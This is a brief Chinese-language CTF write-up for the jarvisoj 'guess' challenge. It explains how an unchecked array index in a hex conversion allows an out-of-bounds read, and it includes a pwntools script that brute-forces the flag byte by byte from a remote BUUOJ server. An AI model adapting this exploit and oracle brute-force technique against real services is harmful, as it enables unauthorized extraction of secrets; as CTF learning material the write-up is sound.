jarvisoj_guess(下标越界导致盲注)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,转换的时候没有检查flag_hex[2*i]和flag_hex[2*i+1]的值是否向上越界,如果向上越界,我们可以令flag_hex[i]为’0’,而flag_hex[i+1]为p8(offset),这样s[i] = value2 | 16 * value1的值就是value2就是bin_by_hex[flag_hex[2*i+1]]也就是bin_by_hex[offset],那么如果取到上面v4的内容,就能通过比较。
然后,我们就可以单字节爆破了
#coding:utf8
from pwn import *
#预先生成一个可以pass的payload
payload = ''
for i in range(50):
payload += '0'
payload += p8(0x100-0x40 + i)
sh = remote('node3.buuoj.cn',28532)
#接下来,就可以逐字节爆破了
flag = ''
for i in range(1,51):
print "guess the index {}'s char".format(i)
for c in range(32,128):
pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
#print pay
#sh = remote('127.0.0.1',9999)
sh.sendlineafter('guess> ',pay)
ans = sh.recvuntil('\n')
if 'Yaaaay!' in ans:
flag += chr(c)
break
print 'flag=',flag
sh.close()